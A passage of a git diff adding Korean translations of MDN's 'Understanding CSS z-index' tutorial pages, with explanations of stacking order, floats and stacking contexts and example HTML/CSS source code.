+<p>z-index 속성은 하나의 정수 값을 가질 수 있다(양수, 음수 모두 가능하다). 이 값은 해당 엘리먼트의 z축 상의 위치를 나타낸다. 만약 당신이 z축에 익숙하지 않다면 여러 레이어가 쌓여있는 페이지를 상상해보라. 각 레이어는 번호가 붙어있고 높은 번호를 가진 레이어는 낮은 번호를 가진 레이어 위에 렌더링된다. </p>
+<p><strong>다시한번 경고!</strong> z-index는 <a href="/en/CSS/position" title="position">position</a> 속성이 설정된 엘리먼트에 대해서만 의미를 갖는다.</p>
+<ul>
+ <li><em>가장 아래(사용자로부터 가장 멀다)</em></li>
+ <li>...</li>
+ <li>Layer -3</li>
+ <li>Layer -2</li>
+ <li>Layer -1</li>
+ <li>Layer 0 <em>기본 렌더링 레이어</em></li>
+ <li>Layer 1</li>
+ <li>Layer 2</li>
+ <li>Layer 3</li>
+ <li>...</li>
+ <li><em>가장 위(사용자로부터 가장 가깝다)</em></li>
+</ul>
+<div class="note">
+ <p><strong>노트:</strong></p>
+ <ul>
+ <li>z-index 속성을 지정하지 않으면 엘리먼트는 기본 렌더링 레이어(레이어 0)에 렌더링된다. </li>
+ <li>만약 몇개의 엘리먼트들이 같은 z-index 속성 값을 가지면 (엘리먼트들이 같은 레이어에 위치한다) <a href="/ko/CSS/Understanding_z-index/Stacking_without_z-index" title="Stacking without z-index">z-index가 없는 경우의 쌓임</a> 쌓임 규칙을 적용한다.</li>
+ </ul>
+</div>
+<p>다음 예제에서는 레이어들의 쌓임 순서가 z-index를 이용하여 바뀌어있다. DIV#5는 position 속성이 지정되지 않았으므로 z-index 속성 값은 쌓임 순서를 결정하는데에 아무 영향을 미치지 않는다. </p>
+<p><img alt="Example of stacking rules modified using z-index" class="internal" src="/@api/deki/files/912/=Understanding_zindex_03.png"></p>
+<h3 id="Example_source_code"><strong>Example source code</strong></h3>
+<pre class="brush: html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+&lt;html&gt;
+&lt;head&gt;&lt;style type="text/css"&gt;
+
+div {
+ opacity: 0.7;
+ font: 12px Arial;
+}
+
+span.bold { font-weight: bold; }
+
+#normdiv {
+ z-index: 8;
+ height: 70px;
+ border: 1px dashed #999966;
+ background-color: #ffffcc;
+ margin: 0px 50px 0px 50px;
+ text-align: center;
+}
+
+#reldiv1 {
+ z-index: 3;
+ height: 100px;
+ position: relative;
+ top: 30px;
+ border: 1px dashed #669966;
+ background-color: #ccffcc;
+ margin: 0px 50px 0px 50px;
+ text-align: center;
+}
+
+#reldiv2 {
+ z-index: 2;
+ height: 100px;
+ position: relative;
+ top: 15px;
+ left: 20px;
+ border: 1px dashed #669966;
+ background-color: #ccffcc;
+ margin: 0px 50px 0px 50px;
+ text-align: center;
+}
+
+#absdiv1 {
+ z-index: 5;
+ position: absolute;
+ width: 150px;
+ height: 350px;
+ top: 10px;
+ left: 10px;
+ border: 1px dashed #990000;
+ background-color: #ffdddd;
+ text-align: center;
+}
+
+#absdiv2 {
+ z-index: 1;
+ position: absolute;
+ width: 150px;
+ height: 350px;
+ top: 10px;
+ right: 10px;
+ border: 1px dashed #990000;
+ background-color: #ffdddd;
+ text-align: center;
+}
+
+&lt;/style&gt;&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;br /&gt;&lt;br /&gt;
+
+&lt;div id="absdiv1"&gt;
+ &lt;br /&gt;&lt;span class="bold"&gt;DIV #1&lt;/span&gt;
+ &lt;br /&gt;position: absolute;
+ &lt;br /&gt;z-index: 5;
+&lt;/div&gt;
+
+&lt;div id="reldiv1"&gt;
+ &lt;br /&gt;&lt;span class="bold"&gt;DIV #2&lt;/span&gt;
+ &lt;br /&gt;position: relative;
+ &lt;br /&gt;z-index: 3;
+&lt;/div&gt;
+
+&lt;div id="reldiv2"&gt;
+ &lt;br /&gt;&lt;span class="bold"&gt;DIV #3&lt;/span&gt;
+ &lt;br /&gt;position: relative;
+ &lt;br /&gt;z-index: 2;
+&lt;/div&gt;
+
+&lt;div id="absdiv2"&gt;
+ &lt;br /&gt;&lt;span class="bold"&gt;DIV #4&lt;/span&gt;
+ &lt;br /&gt;position: absolute;
+ &lt;br /&gt;z-index: 1;
+&lt;/div&gt;
+
+&lt;div id="normdiv"&gt;
+ &lt;br /&gt;&lt;span class="bold"&gt;DIV #5&lt;/span&gt;
+ &lt;br /&gt;no positioning
+ &lt;br /&gt;z-index: 8;
+&lt;/div&gt;
+
+&lt;/body&gt;&lt;/html&gt;
+</pre>
+<h3 id="See_also">See also</h3>
+<ul>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="en/CSS/Understanding_z-index/Stacking_without_z-index">Stacking without z-index</a> : Default stacking rules</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_and_float" title="en/CSS/Understanding_z-index/Stacking_and_float">Stacking and float</a> : How floating elements are handled</li>
+ <li><a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">The stacking context</a> : Notes on the stacking context</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_1" title="en/CSS/Understanding_z-index/Stacking_context_example_1">Stacking context example 1</a> : 2-level HTML hierarchy, z-index on the last level</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_2" title="en/CSS/Understanding_z-index/Stacking_context_example_2">Stacking context example 2</a> : 2-level HTML hierarchy, z-index on all levels</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_3" title="en/CSS/Understanding_z-index/Stacking_context_example_3">Stacking context example 3</a> : 3-level HTML hierarchy, z-index on the second level</li>
+</ul>
+<div class="originaldocinfo">
+ <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+ <ul>
+ <li>Author(s): Paolo Lombardi</li>
+ <li>This article is the english translation of an article I wrote in italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+ <li>Last Updated Date: July 9th, 2005</li>
+ </ul>
+</div>
+<p>{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Ajout_de_z-index" } ) }}</p>
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/index.html b/files/ko/web/css/css_positioning/understanding_z_index/index.html
new file mode 100644
index 0000000000..2887faf021
--- /dev/null
+++ b/files/ko/web/css/css_positioning/understanding_z_index/index.html
@@ -0,0 +1,32 @@
+---
+title: CSS z-index 이해하기
+slug: Web/CSS/CSS_Positioning/Understanding_z_index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index
+---
+<p>우리들은 HTML 페이지를 2차원 평면으로 생각한다. 왜냐하면 여러 텍스트, 이미지와 다른 엘리먼트들이 서로 겹치지 않고 배열되기 때문이다. 하나의 렌더링 흐름만이 존재하며 모든 엘리먼트들은 다른 엘리먼트들이 어떤 공간을 차지하고 있는지 알고 있다. </p>
+<blockquote>
+ <p style=""><em>In CSS 2.1, each box has a position in three dimensions. In addition to their horizontal and vertical positions, boxes lie along a "z-axis" and are formatted one on top of the other. Z-axis positions are particularly relevant when boxes overlap visually.</em></p>
+</blockquote>
+<p>(from <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#z-index">CSS 2.1 Section 9.9.1 - Layered presentation</a>)</p>
+<p>위에 소개된 CSS 스타일 규칙을 보면 기본 렌더링 레이어(layer 0) 이외의 추가적인 레이어를 생성하고 여기에 박스를 위치시킬수 있다는 것을 알 수 있다. 레이어의 Z축 위치는 렌더링 될 때 쌓임 순서를 결정하는 하나의 정수로 결정된다. 큰 정수는 화면을 보고있는 사용자에게 가까운 것을 의미한다. Z축 위치는 {{ cssxref("z-index") }} 속성 값을 설정함으로써 바꿀 수 있다.</p>
+<p>엘리먼트의 Z축 위치를 결정하는 것은 굉장히 간단해 보인다. {{ cssxref("z-index") }} 라는 하나의 프로퍼티를 사용하고 이 프로퍼티는 하나의 정수 값을 가진다.  그러나 {{ cssxref("z-index") }} 속성이 복잡한 HTML 계층적 엘리먼트들에 지정되었을 때에는 동작을 이해하기 힘들고 심지어 예측하지 못할 때도 있다. 이것은 엘리먼트들의 쌓임 순서를 결정하는 규칙(이하 쌓임 규칙)이 복잡하기 때문이다. 오로지 이 규칙만을 설명하기 위한 CSS 명세 섹션이 있을 정도다. (<a class="external" href="http://www.w3.org/TR/CSS21/zindex.html">CSS-2.1 Appendix E</a>)</p>
+<p>이 문서에서는 몇가지 간단한 예를 들어 쌓임 규칙에 대해 설명하려고 한다. </p>
+<ol>
+ <li><a href="/ko/CSS/Understanding_z-index/Stacking_without_z-index" title="ko/CSS/Understanding_z-index/Stacking_without_z-index">z-index가 없는 경우의 쌓임</a> : 기본 쌓임 규칙</li>
+ <li><a href="/ko/CSS/Understanding_z-index/Stacking_and_float" title="ko/CSS/Understanding_z-index/Stacking_and_float">floating 엘리먼트의 쌓임</a> : floating 엘리먼트들은 어떻게 다루어지는가</li>
+ <li><a href="/ko/CSS/Understanding_z-index/Adding_z-index" title="ko/CSS/Understanding_z-index/Adding_z-index">z-index 적용</a> : 기본 쌓임 순서를 변경하기 위해 z-index 사용하기</li>
+ <li><a href="/ko/CSS/Understanding_z-index/The_stacking_context" title="ko/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락(stacking context) 이야기</a> : 쌓임 맥락(stacking context) 이야기 </li>
+ <li><a href="/ko/CSS/Understanding_z-index/Stacking_context_example_1" title="ko/CSS/Understanding_z-index/Stacking_context_example_1">쌓임 맥락 예제1</a> : 2레벨 HTML 계층구조, 마지막 레벨에서 z-index가 지정된 경우</li>
+ <li><a href="/ko/CSS/Understanding_z-index/Stacking_context_example_2" title="ko/CSS/Understanding_z-index/Stacking_context_example_2">쌓임 맥락 예제2</a> : 2레벨 HTML 계층구조, 모든 레벨에서 z-index가 지정된 경우</li>
+ <li><a href="/ko/CSS/Understanding_z-index/Stacking_context_example_3" title="ko/CSS/Understanding_z-index/Stacking_context_example_3">쌓임 맥락 예제3</a> : 3레벨 HTML 계층구조, 두번째 레벨에서 z-index가 지정된 경우</li>
+</ol>
+<p><small><em>저자의 말: 검토를 해준 Wladimir Palant씨와 Rod Whiteley씨에게 감사의 말을 전합니다.</em></small></p>
+<div class="originaldocinfo">
+ <h3 id="Original_Document_Information" name="Original_Document_Information">원본 문서 정보</h3>
+ <ul>
+ <li>저자(s): Paolo Lombardi</li>
+ <li>이 문서는 <a class="external" href="http://www.yappy.it">YappY</a>에 이탈리어로 게재된 문서의 영어 번역판입니다. <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a> 아래에서 공유할 수 있습니다.</li>
+ <li>마지막 수정일: July 9th, 2005</li>
+ </ul>
+</div>
+<p>{{ languages( { "fr": "fr/CSS/Comprendre_z-index" } ) }} </p>
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html
new file mode 100644
index 0000000000..4430c5cdf3
--- /dev/null
+++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html
@@ -0,0 +1,146 @@
+---
+title: floating 엘리먼트의 쌓임
+slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float
+---
+<p>« <a href="/ko/CSS" title="CSS">CSS</a> « <a href="/ko/CSS/Understanding_z-index" title="Understanding CSS z-index"><span class="title">CSS z-index 이해하기</span></a></p>
+<h3 id="floating_엘리먼트의_쌓임">floating 엘리먼트의 쌓임</h3>
+<p>floating 엘리먼트들의 쌓임 순서는 약간 다르다. floating 엘리먼트들은 position이 지정된 블록과 지정되지 않은 블록 사이에 쌓인다. </p>
+<ol>
+ <li>뿌리 엘리먼트의 배경과 테두리</li>
+ <li>자식 엘리먼트들은 HTML에서 등장하는 순서대로</li>
+ <li>floating 엘리먼트</li>
+ <li>position이 지정된 자식 엘리먼트들은 HTML에서 등장하는 순서대로 </li>
+</ol>
+<p>사실 다음 예제에서 보는 것처럼 position이 지정되지 않은 엘리먼트(DIV #4)의 배경과 테두리는 floating 엘리먼트들에 의해 영향을 받지 않는다. 반면 컨텐츠는 영향을 받는다. 이것은 CSS 표준 float 명세에 따른 것이다. </p>
+<p>위의 규칙 리스트를 수정하여 이 명세를 포함시켜보자. </p>
+<ol>
+ <li>뿌리 엘리먼트의 배경과 테두리</li>
+ <li>자식 엘리먼트들은 HTML에서 등장하는 순서대로 </li>
+ <li>floating 엘리먼트</li>
+ <li>inline 자식 엘리먼트는 보통의 흐름대로</li>
+ <li>position이 지정된 자식 엘리먼트들은 HTML에서 등장하는 순서대로 </li>
+</ol>
+<div class="note">
+ <strong>노트:</strong> 아래 예제에서 position이 지정되지 않은 엘리먼트 이외에는 모든 엘리먼트가 쌓임 순서를 보여주기 위해 반투명하게 설정되었다. 만약 position이 지정되지 않은 엘리먼트 (DIV #4)의 투명도를 낮추면 이상한 일이 일어난다. 배경과 테두리가 (원래에는 floating 엘리먼트 아래에 있어야 함에도 불구하고) floating 엘리먼트와 position이 지정된 엘리먼트 사이에 보이는 것이다. 이것이 명세의 일부인지 아니면 버그인지 확실하지 않다. 투명도를 적용하는것이 새로운 쌓임 맥락(stacking context)를 만드는 것일까?</div>
+<p><img alt="Example of stacking rules with floating boxes" class="internal" src="/@api/deki/files/911/=Understanding_zindex_02.png"></p>
+<h3 id="Example_source_code"><strong>Example source code</strong></h3>
+<pre class="brush: html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+&lt;html&gt;
+&lt;head&gt;&lt;style type="text/css"&gt;
+
+div {
+ font: 12px Arial;
+}
+
+span.bold { font-weight: bold; }
+
+#absdiv1 {
+ opacity: 0.7;
+ position: absolute;
+ width: 150px;
+ height: 200px;
+ top: 10px;
+ right: 140px;
+ border: 1px dashed #990000;
+ background-color: #ffdddd;
+ text-align: center;
+}
+
+#normdiv {
+ /*opacity: 0.7;*/
+ height: 100px;
+ border: 1px dashed #999966;
+ background-color: #ffffcc;
+ margin: 0px 10px 0px 10px;
+ text-align: left;
+}
+
+#flodiv1 {
+ opacity: 0.7;
+ margin: 0px 10px 0px 20px;
+ float: left;
+ width: 150px;
+ height: 200px;
+ border: 1px dashed #009900;
+ background-color: #ccffcc;
+ text-align: center;
+}
+
+#flodiv2 {
+ opacity: 0.7;
+ margin: 0px 20px 0px 10px;
+ float: right;
+ width: 150px;
+ height: 200px;
+ border: 1px dashed #009900;
+ background-color: #ccffcc;
+ text-align: center;
+}
+
+#absdiv2 {
+ opacity: 0.7;
+ position: absolute;
+ width: 150px;
+ height: 100px;
+ top: 130px;
+ left: 100px;
+ border: 1px dashed #990000;
+ background-color: #ffdddd;
+ text-align: center;
+}
+
+&lt;/style&gt;&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;br /&gt;&lt;br /&gt;
+
+&lt;div id="absdiv1"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #1&lt;/span&gt;
+&lt;br /&gt;position: absolute;
+&lt;/div&gt;
+
+&lt;div id="flodiv1"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #2&lt;/span&gt;
+&lt;br /&gt;float: left;
+&lt;/div&gt;
+
+&lt;div id="flodiv2"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #3&lt;/span&gt;
+&lt;br /&gt;float: right;
+&lt;/div&gt;
+
+&lt;br /&gt;
+
+&lt;div id="normdiv"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #4&lt;/span&gt;
+&lt;br /&gt;no positioning
+&lt;/div&gt;
+
+&lt;div id="absdiv2"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #5&lt;/span&gt;
+&lt;br /&gt;position: absolute;
+&lt;/div&gt;
+
+&lt;/body&gt;&lt;/html&gt;
+</pre>
+<h3 id="See_also">See also</h3>
+<ul>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="en/CSS/Understanding_z-index/Stacking_without_z-index">Stacking without z-index</a> : Default stacking rules</li>
+ <li><a href="/en/CSS/Understanding_z-index/Adding_z-index" title="en/CSS/Understanding_z-index/Adding_z-index">Adding z-index</a> : Using z-index to change default stacking</li>
+ <li><a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">The stacking context</a> : Notes on the stacking context</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_1" title="en/CSS/Understanding_z-index/Stacking_context_example_1">Stacking context example 1</a> : 2-level HTML hierarchy, z-index on the last level</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_2" title="en/CSS/Understanding_z-index/Stacking_context_example_2">Stacking context example 2</a> : 2-level HTML hierarchy, z-index on all levels</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_3" title="en/CSS/Understanding_z-index/Stacking_context_example_3">Stacking context example 3</a> : 3-level HTML hierarchy, z-index on the second level</li>
+</ul>
+<div class="originaldocinfo">
+ <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+ <ul>
+ <li>Author(s): Paolo Lombardi</li>
+ <li>This article is the english translation of an article I wrote in italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+ <li>Last Updated Date: July 9th, 2005</li>
+ </ul>
+</div>
+<p>{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Empilement_et_float" } ) }}</p>
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html
new file mode 100644
index 0000000000..9444e2bb5e
--- /dev/null
+++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html
@@ -0,0 +1,120 @@
+---
+title: 쌓임 맥락 예제1
+slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1
+---
+<p>« <a href="/ko/CSS" title="CSS">CSS</a> « <a href="/ko/CSS/Understanding_z-index" title="Understanding CSS z-index"><span class="title">CSS z-index 이해하기</span></a></p>
+<h3 id="쌓임_맥락_예제1">쌓임 맥락 예제1</h3>
+<p>기본 예제부터 시작하자. 쌓임 맥락의 뿌리에는 두개의 DIV #1과 DIV #3가 있다. 두 DIV는 모두 position 속성 값이 relative로 지정되었지만 z-index 속성 값은 지정되지 않았다. DIV #1 안에는 position 속성 값이 absolute로 지정된 DIV #2가 있고 DIV #3 안에도 position 속성 값이 absolute가 지정된 DIV #4가 있다. DIV #2와ㅏ DIV #4 모두 z-index 속성 값은 지정되지 않았다. </p>
+<p>유일한 쌓임 맥락은 뿌리 엘리먼트다. z-index가 없는 엘리먼트들은 HTML 문서에서 등장 순서대로 쌓인다. </p>
+<p><img alt="Stacking context example 1" class="internal" src="/@api/deki/files/914/=Understanding_zindex_05a.png"></p>
+<p>DIV #2의 z-index 속성 값을 0또는 auto가 아닌 양의 정수로 지정하면 다른 DIV들 보다 위에 렌더링된다. </p>
+<p><img alt="Stacking context example 1" class="internal" src="/@api/deki/files/915/=Understanding_zindex_05b.png"></p>
+<p>DIV #4의 z-index 속성 값을 DIV #2의 z-index 속성 값보다 큰 값으로 지정하면 DIV #4는 DIV #2보다 위에 렌더링된다. </p>
+<p><img alt="Stacking context example 1" class="internal" src="/@api/deki/files/916/=Understanding_zindex_05c.png"></p>
+<p>마지막 예제에서 DIV #2와 DIV #4는 형제가 아니다. 왜냐하면 둘의 부모가 다르기 때문이다. 그럼에도 불구하고 DIV #2와 DIV #4의 쌓임 순서를 z-index 속성 값을 지정함으로써 바꿀 수 있었다. 왜냐하면 DIV #1과 DIV #3은 z-index 속성 값이 지정되지 않았고 따라서 쌓임 맥락을 만들지 않았기 때문이다. 따라서 DIV #2와 DIV #4는 둘 다 뿌리 엘리먼트의 쌓임 맥락에 속해있고, z-index 속성 값을 변경하여 쌓임 순서를 바꿀 수 있다. </p>
+<p>쌓임 맥락의 용어로 설명하자면 DIV #1과 DIV #3은 뿌리 엘리먼트에 <em>동화되었다.</em> 이 예제의 DIV들은 다음과 같은 쌓임 맥락 계층 구조를 이룬다. </p>
+<ul>
+ <li>뿌리 쌓임 맥락
+ <ul>
+ <li>DIV #2 (z-index 1)</li>
+ <li>DIV #4 (z-index 2)</li>
+ </ul>
+ </li>
+</ul>
+<div class="note">
+ <strong>Note:</strong> DIV #1과 DIV #3은 투명하지 않다. 투명도를 1보다 적은 값으로 지정하게 되면 내부적으로 쌓임 맥락을 만든다는걸 기억하자. 이건 마치 z-index 값을 설정한 것과 비슷하다. 이 예제는 부모 엘리먼트들이 쌓임 맥락을 형성하지 않을 때 어떤 일이 일어나는지 보여준다. </div>
+<h3 id="예제_소스_코드"><strong>예제 소스 코드</strong></h3>
+<pre class="brush: html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+&lt;html&gt;
+&lt;head&gt;&lt;style type="text/css"&gt;
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+#div1,#div3 {
+ height: 80px;
+ position: relative;
+ border: 1px dashed #669966;
+ background-color: #ccffcc;
+ padding-left: 5px;
+}
+
+#div2 {
+ opacity: 0.8;
+ z-index: 1;
+ position: absolute;
+ width: 150px;
+ height: 200px;
+ top: 20px;
+ left: 170px;
+ border: 1px dashed #990000;
+ background-color: #ffdddd;
+ text-align: center;
+}
+
+#div4 {
+ opacity: 0.8;
+ z-index: 2;
+ position: absolute;
+ width: 200px;
+ height: 70px;
+ top: 65px;
+ left: 50px;
+ border: 1px dashed #000099;
+ background-color: #ddddff;
+ text-align: left;
+ padding-left: 10px;
+}
+
+
+&lt;/style&gt;&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;br /&gt;
+
+&lt;div id="div1"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #1&lt;/span&gt;
+&lt;br /&gt;position: relative;
+ &lt;div id="div2"&gt;
+ &lt;br /&gt;&lt;span class="bold"&gt;DIV #2&lt;/span&gt;
+ &lt;br /&gt;position: absolute;
+ &lt;br /&gt;z-index: 1;
+ &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;br /&gt;
+
+&lt;div id="div3"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #3&lt;/span&gt;
+&lt;br /&gt;position: relative;
+ &lt;div id="div4"&gt;
+ &lt;br /&gt;&lt;span class="bold"&gt;DIV #4&lt;/span&gt;
+ &lt;br /&gt;position: absolute;
+ &lt;br /&gt;z-index: 2;
+ &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;/body&gt;&lt;/html&gt;
+</pre>
+<h3 id="See_also">See also</h3>
+<ul>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="en/CSS/Understanding_z-index/Stacking_without_z-index">Stacking without z-index</a> : Default stacking rules</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_and_float" title="en/CSS/Understanding_z-index/Stacking_and_float">Stacking and float</a> : How floating elements are handled</li>
+ <li><a href="/en/CSS/Understanding_z-index/Adding_z-index" title="en/CSS/Understanding_z-index/Adding_z-index">Adding z-index</a> : Using z-index to change default stacking</li>
+ <li><a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">The stacking context</a> : Notes on the stacking context</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_2" title="en/CSS/Understanding_z-index/Stacking_context_example_2">Stacking context example 2</a> : 2-level HTML hierarchy, z-index on all levels</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_3" title="en/CSS/Understanding_z-index/Stacking_context_example_3">Stacking context example 3</a> : 3-level HTML hierarchy, z-index on the second level<span id="cke_bm_89E" style="display: none;"> </span></li>
+</ul>
+<div class="originaldocinfo">
+ <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+ <ul>
+ <li>Author(s): Paolo Lombardi</li>
+ <li>This article is the english translation of an article I wrote in italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+ <li>Last Updated Date: July 9th, 2005</li>
+ </ul>
+</div>
+<p>{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Exemple_d'empilement_1" } ) }}</p>
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html
new file mode 100644
index 0000000000..cf794c3428
--- /dev/null
+++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html
@@ -0,0 +1,123 @@
+---
+title: 쌓임 맥락 예제2
+slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2
+---
+<p>« <a href="/ko/CSS" title="CSS">CSS</a> « <a href="/ko/CSS/Understanding_z-index" title="Understanding CSS z-index"><span class="title">CSS z-index 이해하기</span></a></p>
+<h3 id="쌓임_맥락_예제2">쌓임 맥락 예제2</h3>
+<p>굉장히 간단하지만 <em>쌓임 맥락</em>을 이해하는데 도움이 되는 예제를 하나 소개하려 한다. 이전 예제에서 본 4개의 DIV가 있다. 이번에는 두 레벨의 DIV 모두 z-index 속성 값을 지정했다. </p>
+<p><img alt="Stacking context example 2" class="internal" src="/@api/deki/files/917/=Understanding_zindex_06.png"></p>
+<p>z-index 속성 값이 2인 DIV #2는 z-index 속성 값이 1인 DIV #3 위에 있다. 왜냐하면 DIV #2와 DIV #3은 같은 쌓임 맥락(루트 엘리먼트)에 속하고 DIV #2의 z-index 값이 더 크기 때문이다. </p>
+<p>이상한 점은 z-index 속성 값이 2인 DIV #2가 z-index 속성 값이 10인 DIV #4보다 위에 있다는 점이다. 이것은 이 두 DIV가 같은 쌓임 맥락에 속해있지 않기 때문이다. DIV #4는 DIV #3이 만든 쌓임 맥락에 속해있고 DIV #3과 DIV #3의 모든 자식 엘리먼트는 DIV #2보다 아래에 있다. </p>
+<p>이 상황을 더 잘 이해하기 위해서 쌓임 맥락 계층을 그려보자. </p>
+<ul>
+ <li>루트 엘리먼트 쌓임 맥락
+ <ul>
+ <li>DIV #2 (z-index 2)</li>
+ <li>DIV #3 (z-index 1)
+ <ul>
+ <li>DIV #4 (z-index 10)</li>
+ </ul>
+ </li>
+ </ul>
+ </li>
+</ul>
+<div class="note">
+ <strong>Note:</strong> 일반적인 HTML 계층 구조가 쌓임 맥락 계층 구조와 다르다는걸 상기하자. 쌓임 맥락을 만들지 않는 엘리먼트들은 쌓임 맥락 계층 구조에서 사라진다. </div>
+<h3 id="예제_소스_코드"><strong>예제 소스 코드</strong></h3>
+<pre class="brush: html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+&lt;html&gt;
+&lt;head&gt;&lt;style type="text/css"&gt;
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+#div2 { z-index: 2; }
+#div3 { z-index: 1; }
+#div4 { z-index: 10; }
+
+#div1,#div3 {
+ height: 80px;
+ position: relative;
+ border: 1px dashed #669966;
+ background-color: #ccffcc;
+ padding-left: 5px;
+}
+
+#div2 {
+ opacity: 0.8;
+ position: absolute;
+ width: 150px;
+ height: 200px;
+ top: 20px;
+ left: 170px;
+ border: 1px dashed #990000;
+ background-color: #ffdddd;
+ text-align: center;
+}
+
+#div4 {
+ opacity: 0.8;
+ position: absolute;
+ width: 200px;
+ height: 70px;
+ top: 65px;
+ left: 50px;
+ border: 1px dashed #000099;
+ background-color: #ddddff;
+ text-align: left;
+ padding-left: 10px;
+}
+
+
+&lt;/style&gt;&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;br /&gt;
+
+&lt;div id="div1"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #1&lt;/span&gt;
+&lt;br /&gt;position: relative;
+ &lt;div id="div2"&gt;
+ &lt;br /&gt;&lt;span class="bold"&gt;DIV #2&lt;/span&gt;
+ &lt;br /&gt;position: absolute;
+ &lt;br /&gt;z-index: 2;
+ &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;br /&gt;
+
+&lt;div id="div3"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #3&lt;/span&gt;
+&lt;br /&gt;position: relative;
+&lt;br /&gt;z-index: 1;
+ &lt;div id="div4"&gt;
+ &lt;br /&gt;&lt;span class="bold"&gt;DIV #4&lt;/span&gt;
+ &lt;br /&gt;position: absolute;
+ &lt;br /&gt;z-index: 10;
+ &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;/body&gt;&lt;/html&gt;
+</pre>
+<h3 id="See_also">See also</h3>
+<ul>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="en/CSS/Understanding_z-index/Stacking_without_z-index">Stacking without z-index</a> : Default stacking rules</li>
